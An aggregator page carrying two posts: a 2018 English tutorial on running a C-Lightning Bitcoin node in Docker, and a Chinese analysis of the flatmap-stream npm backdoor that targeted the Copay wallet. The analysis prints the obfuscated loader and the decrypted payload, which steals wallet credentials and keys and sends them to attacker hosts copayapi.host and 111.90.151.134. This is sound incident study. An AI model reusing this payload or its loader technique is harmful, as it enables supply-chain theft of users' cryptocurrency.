Quantcast
Channel: 懒得折腾
Viewing all 764 articles
Browse latest View live

The Lightning Network: How to install and (hopefully) make money

$
0
0

The Lightning Network: How to install and (hopefully) make money

Note: This document was written in July 2018. Lightning is new and improving fast. If you find any out-of-date information or omissions, please leave a comment.

Lightning is an intriguing new technology that promises (lightning) fast transactions at a scale that is unheard of for Bitcoin. And now that Lightning is live on the Bitcoin mainnet, it is also a potential money maker.

Unfortunately, I’ve also found that Lightning is extremely hard to install, and I’ve wasted many hours setting up a node. I’m sharing my experiences so others will hopefully have a smoother experience.

This blogpost only describes the installation process, and assumes the reader is proficient in setting up a server. To learn more about Lightning itself, check the excellent white paper. To learn more about the economics behind Lightning, see The Economics of Lightning Network FeesLnRoute lists many helpful resources.

Warning: Lightning is not for the faint of heart. There are known and unknown issues. The wallet’s private key will be stored on the Lightning node, and the node will have to be online 24/7 to route transactions. As always with crypto, do not experiment with more btc than you’re prepared to lose. (Or experiment on Testnet. But where’s the fun in that?).

Prerequisites

In the cloud on a Virtual Private Server (VPS), or on your own hardware. This tutorial shows how to install Lightning on a Digital Ocean VPS. I am considering installing and documenting Lightning on a ODROID-HC1 (leave a comment if you’re interested).

This tutorial assumes you’re using a Mac to connect to the VPS. Using Linux or Windows shouldn’t be too different though.

Your Lightning node has to be always online to forward payments.

Setup Digital Ocean

Setting up a VPS on Digital Ocean will take about 30 minutes to complete.

  1. Create an account
  2. Create a new droplet
  3. Create SSH key pair
  4. Log in

Use the following referral link to create an account on Digital Ocean and receive $10 (I will receive $25).

Create a new droplet

On the Create Droplet page, select the One-click apps tab and the Dockeroption, and select the 320GB option on the same page.

Next, we’re going to create a new SSH key pair by entering the following command in the Terminal:

# 1. Create SSH key pair. "lightning" will be the filename
#    Enter a passphrase to secure the file
$ ssh-keygen -f ~/.ssh/lightning -t rsa -b 4096

# 2. Backup lightning and lightning.pub files
$ cd ~/.ssh
$ (Make a safe backup)
# 3. Copy the public key to the clipboard
$ pbcopy < ~/.ssh/lightning.pub

Back in the browser, click on the New SSH Key button and paste the public key (copied to the clipboard in step 3 above) into the text box, and click the Create button to create the droplet.

Once the droplet is created, copy the ip-address of the droplet.

# Log in.
$ ssh root@<droplet's ip-address> -i ~/.ssh/lightning

Install bitcoind

Lightning requires a locally running full bitcoin node (that will change in the future with the Neutrino light client). This step will download the full Bitcoin blockchain and will take about 12 to 24 hours to complete.

I followed the steps in Doug von Kohorn’s Lightning post.

  1. Make sure to be logged in on your server.
  2. Install Bitcoind Docker image.
  3. Download the Bitcoin blockchain.
  4. Create a convenience script for easy access to the bitcoind container
  5. Wait while the blockchain is downloading.

Log in if you’re not logged in already.

# Log in.
$ ssh root@<droplet's ip-address> -i ~/.ssh/lightning

Create a bitcoind Docker container using the dockerfile which is (confusingly) located in a repo called lightning-node.

Bitcoind will save the blockchain and all settings on the disk, not in the container itself. This way, all data will persist, even if we replace the bitcoind container with an updated version.

# 1. Clone the bitcoind repo. (don't let the lightning 
#    node project name fool you, this will install bitcoind)
$ git clone https://github.com/dougvk/lightning-node.git
# 2. Build the bitcoind Docker container.
$ cd lightning-node
$ docker build . -t dougvk/bitcoind
# 3. Create a working directory outside of the Docker image,
#    so the working directory won't be overwritten when you 
#    update the Docker image with a new bitcoind version.
$ mkdir -p /scratch/bitcoin/mainnet/bitcoind
# 4. Run bitcoind and start downloading the blockchain.
$ docker run --name bitcoind -d -v /scratch/bitcoin/mainnet/bitcoind:/data -p 8333:8333 -p 9735:9735 dougvk/bitcoind:latest

Add a convenience script to access the bitcoind container:

# 1. Create script.
$ touch /bin/bitcoin-cli
# 2. Make script executable.
$ chmod +x /bin/bitcoin-cli
# 3. Edit script (See below).
$ nano /bin/bitcoin-cli
# 4. Confirm script is working. This command shows the wallet info.
$ bitcoin-cli getwalletinfo

In Nano (step 3 above), edit the bitcoin-cli script as follows:

#!/usr/bin/env bash
docker run --rm --network container:bitcoind -v /scratch/bitcoin/mainnet/bitcoind:/data dougvk/bitcoind:latest bitcoin-cli "$@"

At the time of writing, the Bitcoin blockchain is 175GB in size. The blockchain download should already be in progress and will take up to 24 hours to complete. Take a break, a nap or a short vacation while the blockchain is downloading.

Check the status of the download by entering the following command. When the download is complete, the latest downloaded block should have today’s date.

# Check the blockchain download progress.
$ docker logs bitcoind --tail "10"

Install C-Lightning

Next, install the Lightning client. There are multiple Lightning implementations, such as C-Lightning and lnd. It shouldn’t matter which implementation you use, as all implementations should be interoperable.

I found this step more complicated than I expected and wasted time trying to use the lnd implementation. In the end I gave up on lnd and switched to C-Lightning. (Since the software and documentation is updated on an almost daily basis, it is entirely possible that lnd will be easier to install by the time you read this.) Installing C-Lightning should take about 30 minutes.

  1. Make sure to be logged in on your server.
  2. Create a C-Lightning docker image and sync the Lightning network.
  3. Create a convenience script for easy access to the bitcoind container.
  4. Set name and other options

Log in if you’re not logged in already.

# Log in.
$ ssh root@<droplet's ip-address> -i ~/.ssh/lightning

Create the C-Lighting docker image and a scratch directory on disk so the data will persist even if we replace the lightning docker container.

# 1. Create a working directory outside of the Docker image,
#    so the working directory won't be overwritten when you 
#    update the Docker image with a newer C Lightning version.
$ mkdir -p /scratch/bitcoin/mainnet/clightning
# 2. Create the Lighting docker image.
$ docker run --rm --name lightning --network container:bitcoind -v /scratch/bitcoin/mainnet/bitcoind:/root/.bitcoin -v /scratch/bitcoin/mainnet/clightning:/root/.lightning --entrypoint /usr/bin/lightningd elementsproject/lightningd --network=bitcoin --log-level=debug

The Lightining node should now be downloading the Lightning network, which should take about 10 minutes.

Since the last command doesn’t return to the command prompt, open a new Terminal window or tab and log in again.

# Log in.
$ ssh root@<droplet's ip-address> -i ~/.ssh/<filename>

Next, we’ll create a convenience script to access the Lightning client.

# 1. Create script.
$ touch /bin/lightning-cli
# 2. Make script executable.
$ chmod +x /bin/lightning-cli
# 3. Edit script (See below).
$ nano /bin/lightning-cli
# 4. Confirm script is working. 
$ lightning-cli getinfo

In Nano (step 3 above), edit the lightning-cli script as follows:

#!/usr/bin/env bash
docker run --rm -v /scratch/bitcoin/mainnet/clightning:/root/.lightning --entrypoint /usr/bin/lightning-cli elementsproject/lightningd "$@"

I haven’t found the complete documentation of all config file options. If you’ve found one, please leave a comment. A basic config file sets the name of the Lightning node and the color the name appears in Lightning explorers, such as Recksplorer.

# 1. Create config file
$ touch /scratch/bitcoin/mainnet/clightning/config
# 2. Edit and save config file (see below)
$ nano /scratch/bitcoin/mainnet/clightning/config

My config file is as follows. I’ve named my node Punchbeef✅ (yes, a Mystery Science Theater 3000 reference) and set its color to orange. The color is used various Lightning explorers and provides an way to stand out.You obviously want to change the alias and the color (unless you like orange). To ensure more stable channels, Chang Li of FirstBlock suggested to add bind-addr and announce-addr to the config file. However, bind-addr didn’t seem to work as expected.

alias=Punchbeef✅           # Change the alias, obviously
rgb=FF4500       
#bind-addr=0.0.0.0:9735     This doesn't seem to work yet
announce-addr=<droplet's ip-address>:9735

Restart the Lightning node to the update the changes.

# 1. Stop the Lightning node
$ lightning-cli stop
# 2. Start the Lightning node
#    Note: this creates a new container. How do we restart 
#    the existing one? Any Docker experts here?
$ docker run --rm --name lightning --network container:bitcoind_mainnet -v /scratch/bitcoin/mainnet/bitcoind:/root/.bitcoin -v /scratch/bitcoin/mainnet/clightning:/root/.lightning --entrypoint /usr/bin/lightningd elementsproject/lightningd --network=bitcoin --log-level=debug

We now have a fully functional Lightning node running on mainnet.

Note: If you prefer to use lnd over C-Lightning, the undocumented command to install lnd on mainnet is as follows. For support, check their active Slack.

# Don't use unless you want to install LND, instead of C-Lightning!
$ docker create --name=lnd lightninglabs/lnd --bitcoin.active --bitcoin.mainnet

Setting fees

The way to make money on the Lightning network is to forward transactions from other nodes via your node. The sending node will choose the optimal path, based on the fees nodes have set. So we want to set the fees to a price that’s low enough so that traffic will flow through our node, yet high enough to make a profit. That at least is the theory.

I was expecting to be able to set fees to optimize for more traffic. Unfortunately, I haven’t found a way to do that yet and am currently using the default settings. If anyone knows the solution or has suggestions, please leave a comment.

Connecting to nodes and creating Channels

Note: If you’re not familiar with the concept of Lightning channels, please see the original Lightning white paper or this introduction to Lightning.

Funding channels is a two step process: you first send btc from your current wallet to the node’s wallet, and then you fund the channel with btc from the node’s wallet. Creating and funding channels will take about two hours and will involve the following steps:

  1. Create a Bitcoin address for the node’s wallet.
  2. Send btc to the address created in step 1 and wait for six confirmations.
  3. Connect to any Lightning node of your choosing to create a channel.
  4. Fund the channel with btc from step 2 and wait for six confirmations.

As with any other Bitcoin wallet, you can create multiple addresses for a single wallet. Send a small amount of btc to the Lightning wallet, like so:

# 1. Create new address. 
$ lightning-cli newaddr
# 2. Send btc to the address generated above and wait for six 
#    confirmations. Check status at: 
#    https://www.blockchain.com/btc/tx/
# 3. Confirm the funds have been received.
$ lightning-cli listfunds

When needed, use the dev-listaddrs command to list all addresses of your Lightning wallet:

# List all addresses of your Lightning wallet.
$ lightning-cli dev-listaddrs

Next, connect to one or more other Lightning nodes.

# 1. Connect to another Lightning node. The parameters are 
#    the Lightning id, and optional ip-address and port.
#    The command below connects to the author's Punchbeef✅ node.
$ lightning-cli connect 02060d0c8577cfc2a1962220a1cde4f623ca55ef80bd25e4be5a8b15fed78b11a3@178.62.237.239
# 2. Confirm your node is connected to the node in step 4, and 
#    the state is "GOSSIPING".
$ lightning-cli listpeers

Looking for nodes to connect to? Recksplorer is a live Lightning network map that can be used to find other nodes you might want to connect to. Other great resources are the Lightning Network Stores list, and the Y’alls list. 1ml maintains a list of the largest nodes in terms of btc and nodes with most channels.

I funded most channels with 318 kSatoshi (approx. 20 USD). Some hosts required a higher minimum, to which I conformed. I also checked the prices of the goods the merchants sold and made sure the channel had enough satoshi for a purchase of at least the cheaper items in the store.

Funding a channel is a channel is an on-chain event and needs to be confirmed.

# 1. If needed, list connections. Unfunded channels will have 
#    state set to 'GOSSIPING'
$ lightning-cli listpeers
# 2. Fund the channel to peer ID 02060... belonging to Punchbeef✅
#    with 400 kSat.
$ lightning-cli fundchannel 02060d0c8577cfc2a1962220a1cde4f623ca55ef80bd25e4be5a8b15fed78b11a3 400000

And boom. We’re live.

Payments

To test Lightning payments, you could buy a sticker or T-shirt at various merchants, but you can also buy an inbound channel from the Y’alls node for about $4.62. Why not? Browse to the about page of the Y’alls site and follow the steps below.


# 1. Connect to the Y'alls node
$ lightning-cli connect 03e50492eab4107a773141bb419e107bda3de3d55652e6e1a41225f06a0bbf2d56@mainnet-lnd.yalls.org
# 2. Fund outbound channel with 1 mSat and wait for confirmation
$ lightning-cli fundchannel 03e50492eab4107a773141bb419e107bda3de3d55652e6e1a41225f06a0bbf2d56 1000000
# 3. Confirm the channel state is CHANNELD_NORMAL
$ lightning-cli listpeers 03e50492eab4107a773141bb419e107bda3de3d55652e6e1a41225f06a0bbf2d56
# 4. Browse to https://mainnet.yalls.org/about/, locate the 'Join
#    the Y'alls Community' box and select your node from the 
#    dropdown list and click 'Attempt Channel Open'.
# 5. Copy the invoice starting with "lnbc" from the bottom box
# 6. Pay Y'alls node to create inbound channel using the invoice 
#    copied in step 5.
$ lightning-cli pay <lnbc...>

Closing channels and withdraw funds

To withdraw btc from a channel to the node’s wallet, you will need to close the channel. This step will take about one hour.

  1. Find the id of the channel you want to close
  2. Close channel
  3. Profit!

Just like funding a channel, closing one is also an on-chain event and needs to be confirmed.

# 1. Show funded channels to look up channel id.
$ lightning-cli listfunds
# 2. Close channel. Command should return a txid, which is
#    verifiable on https://www.blockchain.com/btc/tx/
$ lightning-cli close xxxxx:xxx:x
# 3. After about one hour, the channel should be removed 
#    from the list, and a utxo should be added to the utxo list.
#    You may need to rescan the outputs to see the latest updates.
$ lightning-cli dev-rescan-outputs
$ lightning-cli listfunds

Backups

With real btc stored on your node, you definitely want to have a backup, just in case. However, backing up a Lightning isn’t straightforward.

My first instinct was to back up the state of the channels themselves. But that turned out to be a bad idea, according to this Github issue, which is probably the best resource on Lightning backups.

To understand why you should never back up channel states, you have to understand how the Lightning protocol punishes dishonest nodes. One attack vector is to propagate an old state of a channel, which is exactly what could happen if you back up channel states. The punishment for propagating an old state is confiscation of all funds in a channel by the peer. In other words: you risk losing all your funds in the channels if you try to backup and restore an a channel state.

The channel states are saved in the lightning.sqlite3 file in the /scratch/bitcoin/mainnet/clightning/ directory. Never back up the lightning.sqlite3 file.

Instead, backup the hsm_secret file in the /scratch/bitcoin/mainnet/clightning/ directory. The following command copies the hsm_secret file to your local home directory.

# Run from your local computer. <filename> is the ssh file on 
# your local drive, <ip-address> is your lightning
# server's IP address.
$ scp -i <filename> root@<droplet's ip-address>:/scratch/bitcoin/mainnet/clightning/hsm_secret ~

The steps to recover the funds are copied from the GitHub issue metioned above: Copy hsm_secret on a clean install and start lightningd with the--port=0 option. Do not connect or fund any channel. Run lightning-cli newaddr a few times, then shut down lightning with lightningd stop. Run sqlite3 /scratch/bitcoin/mainnet/clightning/lightningd.sqlite3 "UPDATE vars SET val= 500000 WHERE name='last_processed_block';" Run lightningd again with the --port=0 option. Recover on-chain funds to your personal wallet by running lightning-cli withdraw all. Then wait up to a few months for the peers to close your old channels. Once all channels are closed, recover your funds that were previously stuck in the channels with lightning-cli withdraw all.

Since you’re not able to create or fund new channels without disrupting the recovery process, you will need to set up a second server to continue running a lightning node.

Errors and solutions

As with any technology, and particular a new one, you will encounter errors.

No address known, giving up

This happens when trying to connect to a node when the lightning node hasn’t finished syncing yet. Wait until your node has fully synced and try again.

Not enough funds to open channel

After funding several channels, it’s possible Lighting will complain that not enough funds are available. The first time I encountered the error, I thought I’d lost my money. It turns out the funds are still there, and all you have to do is have C-Lightning rescan the utxos:

# 1. Rescan outputs if funds are 'missing'
$ lightning-cli dev-rescan-outputs
# 2. Confirm all bitcoins are still there.
$ lightning-cli listfunds

Connection refused

When trying to connect to some popular nodes with many channels, I sometimes encountered a -1, Connection establishment: Connection refused error. I assume there is some limit to the number of channels a node can maintain and that there is no solution besides regularly retrying.

Unable to fund a channel

Sometimes you’re able to connect to a node, but unable to fund a channel to that peer for various reasons. These peers will be in a perpetual GOSSIPINGstate. To check if peers are in GOSSIPING state, run:

# Outputs the nodes in Gossiping state
$ lightning-cli listpeers | jq '.peers[] | select(.state == "GOSSIPING") | .'

Fund each nodes returned:

# Fund channel
$ lightning-cli fundchannel <peer-id> <amount>

CHANNELD_AWAITING_LOCKIN and CHANNELD_SHUTTING_DOWN

I encountered a multiple more serious issues where channels were stuck in a state after funding for several days. So the funds are tied up, but the channel doesn’t become active. The channel is either awaiting a lock-in (Peer already CHANNELD_AWAITING_LOCKIN), or is in a perpetual state of shutting down (Peer already CHANNELD_SHUTTING_DOWN), instead of the expected CHANNELD_NORMAL. C-Lightning don’t seem to be able to resolve these stuck states automatically yet, even though the listpeers info suggests funds will automatically be returned after 144 confirmations, which equals 24 hours.

# List all channels that were not opened correctly
$ lightning-cli listpeers | jq '.peers[].channels[] | select(.state != "CHANNELD_NORMAL") | .'

Ignore channels with status CHANNELD_AWAITING_LOCKIN:Funding needs more confirmations.

The issue is discussed in this GitHub issue, I‘m currently still waiting to see if it will resolve eventually, even though the channels are stuck in these states for about a week already.

Thanks

Chang Li of Firstblock Capital for setup advise and config file tips, Shane Vitarana for proofreading. Doug von Kohorn‘s Run Your Own Mainnet Lightning Node blogpost was extremely helpful, as well many Stack Overflow answers, GitHub issues, and the lnd Slack community.

Was this post helpful?

Consider creating a channel to punchbeef✅

# 1. Connect to punchbeef✅
$ lightning-cli connect 02060d0c8577cfc2a1962220a1cde4f623ca55ef80bd25e4be5a8b15fed78b11a3@178.62.237.239
# 2. Fund channel
$ lightning-cli fundchannel 02060d0c8577cfc2a1962220a1cde4f623ca55ef80bd25e4be5a8b15fed78b11a3 400000

篡改 npm 包盗取比特币始末

$
0
0

篡改 npm 包盗取比特币始末

Stay Curious, Stay Adventurous.
46 人也赞了该文章
篡改 npm 包盗取比特币始末

比特币钱包 Copay 被依赖链攻击这个瓜上周在技术圈里被广泛讨论,我在看了众多大神分析之后理清了前因后果。在这里也给大家来分享一波黑客是如何一步步实施他的惊人计划的。

一、 背景介绍

event-stream 是开源社区里一个用于处理 Node.js 流数据的 npm 包,它使得创建和使用流变得容易,正是因此,受到了广大开发者的欢迎,目前这个库上周下载量达到了165万

event-stream在npm的托管

而这起事件起因是由于该项目的作者 @dominictarr 受限于时间与精力,将其维护工作交给了另一位开发者 @Right9ctrl,该开发者获得了 event-stream 的权限后,将恶意代码通过依赖项 flatmap-stream 注入到了 event-stream 中去。也正是这个依赖项引入了窃取比特币的后门。

同时,著名的比特币钱包 Dash Copay 在他们的应用中引用了对 event-stream 的依赖,从而导致了中毒事件的发生。

梳理下来,黑客的具体步骤如下:

  • 第一步,黑客 @right9ctrl 发邮件给这个库的原作者 @dominictarr,而他因为缺乏时间和兴趣已经不愿再维护这个库了,于是就将该库转让给了这个完全不认识的陌生人 。

原作者的解释

  • 第二步,9 月 9 日,新维护者开始了初步性的动作,首先释出了 event-stream 3.3.6 版本的更新,并在其中加入了一个全新的模块——flatmap-stream,彼时这个模块中并没有恶意功能。
  • 第三步,9 月 16 日,@right9ctrl 删除了对 flatmap-stream 的引用并在 event-stram 里 手动实现 了这个方法,之后直接将项目从3.3.6 升级到了 4.0.0。但引用npm包的时候,很少有人直接升级大版本,也就是说 codepay 很可能会一直使用这个中毒的 event-stream 3.3.6版本。

黑客的攻击步骤

  • 第四步,10 月 5 日,flatmap-stream@0.1.1 版本被一个名为 @hugeglass 的用户推送到了 NPM。而这次释出的更新中该模块就被加入了窃取比特币钱包的用户信息和秘钥。通俗的来说就好比用户的网银账号、密码和U盾一起被盗了。

二、盗窃与曝光

盗窃

那么黑客的代码具体是怎么盗窃比特币的呢? 通过分析 flatmap-stream 的源码,我们可以将其分解为已下四个步骤:

  1. 外部代码判断执行环境,如果是在 copay-dash 项目中运行,则将加密成16进制的内部代码进行解密并执行。
  2. 内部代码判断用户的使用环境(是否使用 Cordova),同时获取受害者的个人钱包信息。
  3. 通过遍历受害者钱包里所有的id,查找账户余额超过100 BTC(市值300万人民币)或者1000 BCH(市值125万人民币)的账户。
  4. 将受害者的账户信息和钱包秘钥分别发往部署在吉隆坡的服务器 111.90.151.134 和 copayapi.host(之前DNS解析为:145.249.104.239,目前为:51.38.112.212)。

曝光

整个事情的曝光十分具有戏剧性,一个完全不相关的第三方开发者在自己的项目中引入了 Nodemon 监控,但是控制台出现了一条警告 “DeprecationWarning: crypto.createDecipher is deprecated”。

crypto是一个常用的加密解密库,最近因为 api 升级,它的 crypto.createDecipher方法已经在新版中废弃,因此系统抛出警告。

一个意外将整个事件曝光

然而,正常情况下对 nodejs 的监控是不需要进行加密解密的。所以为了解决这个意外的警告,这位热心的开发者将问题上报到了社区。在解决问题的过程中,他们一路向上遍历了他项目的依赖树,最终发现依赖是由 flatmap-stream 引入的。通过解密 flatmap-stream 的代码,由此揭开了整个事件的序幕。

攻击与发现

三、代码分析

现在让我们通过回溯代码来一步步分析黑客是怎么实施他的盗窃的,如果不愿意看详细分析也可以直接跳到章节最后的总结图:)

首先,攻击者上传的原始代码 flatmap-stream@0.1.1 是被压缩过的:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

其中问题代码被偷偷放在最后面,我们将代码解压缩并格式化可得到可读的问题代码1

! function () {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")), // 在Github上不存在,但是实际在发布的npm包里隐藏的 ‘./test/data.js’文件
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();

上述代码部分被转成 16 进制,我们可以进行一次 16 进制转得到转码代码1,其中 r(e(“2e2f746573742f64617461”)),翻译过来就是 require(“./test/data”); 目前 data.js 这个文件已原项目中被删除,根据 FallingSnow 的说明,data.js文件是一个如下的数组,对应原代码中的数组n。同样将该数组转码后,可得到:

[
    // 数组前两项为加密的16进攻击代码
    "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1",
    "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
    "63727970746f", // crypto
    "656e76",  // env
    "6e706d5f7061636b6167655f6465736372697074696f6e",  // npm_package_description
    "616573323536", // aes256
    "6372656174654465636970686572", // createDecipher
    "5f636f6d70696c65", // _compile
    "686578", // hex
    "75746638" // utf8
]

通过data.js对问题代码的数组 n 进行替换,我们可得到下面的转码代码2

!(function() {
    try {
        // 攻击代码被加密伪装成16进制
        var n = [
            "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1",
            "db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
        ];
        var o = process["env"]["npm_package_description"];
        if (!o) return;
        var u = require("crypto")["createDecipher"]("aes256", o),
            a = u.update(n[0], "hex", "utf8");
        a += u.final("utf8");
        var f = new module.constructor();
        (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
    } catch (r) {}
})();

其中这个数组 n 很特别,头两项 n[0], n[1] 的长字符串需要用被依赖项目的 “npm_package_description” 进行解密,并且只有当 description 正好为 “A Secure Bitcoin Wallet” 才能成功解密。而“很巧”的是 copay 项目的 description 正好为此,所以说这是针对 copay 钱包的定向攻击。同时,由于黑客在这里使用了 crypto.createDecipher 这个过时的api 才最终导致其暴露。经过两轮解密后我们得到最终的解密代码,我语义化并注释后如下:

! function() {
    function startUp() {
        try {
            var HTTP = require("http"),
                Crypto = require("crypto"),
                publicKey = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function postData(hostName, pathName, encryptedData) {
                hostName = Buffer.from(hostName, "hex").toString(); // 将16进制字符转换成string,"copayapi.host" 和111.90.151.134
                var request = HTTP.request({
                    hostname: hostName,
                    port: 8080,
                    method: "POST",
                    path: "/" + pathName,
                    headers: {
                        "Content-Length": encryptedData.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                request.on("error", function(e) {}), request.write(encryptedData), request.end()
            }

            // 偷取了用户信息并用公钥加密后发送
            function encryptAndPost(pathName, userInfo) {
                for (var encryptedData = "", r = 0; r < userInfo.length; r += 200) {
                    var o = userInfo.substr(r, 200);
                    encryptedData += Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                postData("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // 攻击者的服务器copayapi.host,111.90.151.134
            }

            // 偷取用户信息
            function stealUserInfo(profile, stealSuccessCB) {
                if (window.cordova) {
                    try {
                        var dataDirectory = cordova.file.dataDirectory; // cordova接口获取程序的数据目录, Persistent and private data storage within the application's sandbox
                        resolveLocalFileSystemURL(dataDirectory, function(e) {
                            e.getFile(profile, {
                                create: !1
                            }, function(e) {
                                e.file(function(e) {
                                    var reader = new FileReader;
                                    reader.onloadend = function() {
                                        return stealSuccessCB(JSON.parse(reader.result))
                                    }, reader.onerror = function(e) {
                                        reader.abort()
                                    }, reader.readAsText(e)
                                })
                            })
                        })
                    } catch (e) {}
                } else {
                    try {
                        var r = localStorage.getItem(profile);
                        if (r) return stealSuccessCB(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(profile, function(e) {
                            if (e) return stealSuccessCB(JSON.parse(e[profile]))
                        })
                    } catch (e) {}
                }
            }
            // 执行代码由此开始,针对账户内大于100BTC余额的账户,偷取用户的证书和个人信息。
            global.CSSMap = {}, stealUserInfo("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && stealUserInfo("balanceCache-" + n.walletId, function(profileInfo) {
                        var that = this;
                        that.balance = parseFloat(profileInfo.balance.split(" ")[0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c", JSON.stringify(that)))
                    }.bind(n))
                }
            });

            // 引入credentials并重写,再次尝试偷取用户公钥
            var Credentials = require("bitcore-wallet-client/lib/credentials.js");
            Credentials.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e); // 正常执行Credentials.prototype.getKeys
                try { // 尝试窃取秘钥
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", startUp) : startUp()
}();

由于上面的解密代码比较清晰,所以这里只简述一下。大概是分两步偷取用户的个人信息和钱包秘钥后,加密发往自己在吉隆坡的服务器。实现方式是通过JS的原型链引用,在 flatmap-stream 里重写了 Credentials.getKeys 方法,这个方法被用 copay-dash 项目组用来获取用户的秘钥,他在程序执行该方法后,将用户秘钥发往自己的服务器。

为了让大家能更好梳理攻击的流程,我画出了解密的流程图以供参考:

四、影响与反思

